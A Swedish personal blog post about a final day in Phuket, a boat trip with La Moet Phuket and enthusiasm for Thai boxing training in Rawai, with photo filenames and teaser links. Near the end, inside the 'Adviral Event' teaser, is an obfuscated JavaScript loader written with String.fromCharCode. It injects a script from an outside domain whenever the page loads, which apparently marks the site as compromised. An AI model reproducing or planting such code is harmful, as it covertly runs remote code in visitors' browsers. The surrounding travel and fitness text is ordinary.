La Moet Phuket! -Båttur!

12301763_1015128931858934_9068739579238127868_n

Godmorgon!

Sista dagen i paradiset! Inte många timmars sömn inatt… (kunde inte sova, se förra inlägget) men jag hittade några fler bilder ifrån gårdagens båttur på La Moet Phuket!

-Vilken fantastisk miljö!

Det känns nästan lite overkligt att komma hem till julbak, glögg och julförberedelser 😉 

12289523_1015129311858896_4545422421174236652_n 12310717_1015129035192257_2721170652243543850_n 12289602_1015129021858925_8908222039384369447_n

12279009_1015129005192260_8646025413549548212_n

12301472_1015128888525605_1049320352997743863_n12279184_1015129395192221_1193784838454116556_n12316280_1015129201858907_5598282424517959996_n12314122_1015129098525584_4150949086254267165_nP1040636P1040631Vi avslutade en underbara dag med en middag ”sista middagen” med gängetP1040636P1040631

 

Dessa veckorna har varit bra för både kropp och själ! Jag är så grymt taggad på att fortsätta tränna på detta sättet som jag gjort nu. ÄNTLIGEN har mina magmuskler börjat att aktiveras ”på riktigt igen” fasen, rent ut sagt vad min bål är svag.. men på bara dessa veckorna så har den blivit grymt mycket stabilare! =)

Thai-boxning är ju bara såååå kul! så när jag är 100% uppflyttat till sthlm årskiftet)  ska jag definitivt fortsätta med just det! Jag är biten!

Några bilder från senaste passet på Frontline gymmet i Rawai

P1040246 P1040239 P1040224 image21-e1448727535342

Det är en sport där man verkligen tränar heeeeela kroppen! alltså min kropp, är helt slut efter dessa veckor! Men på ett bra/skönt sätt! Igår hade vi en vilodag från träningen… det behövdes 😉 

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/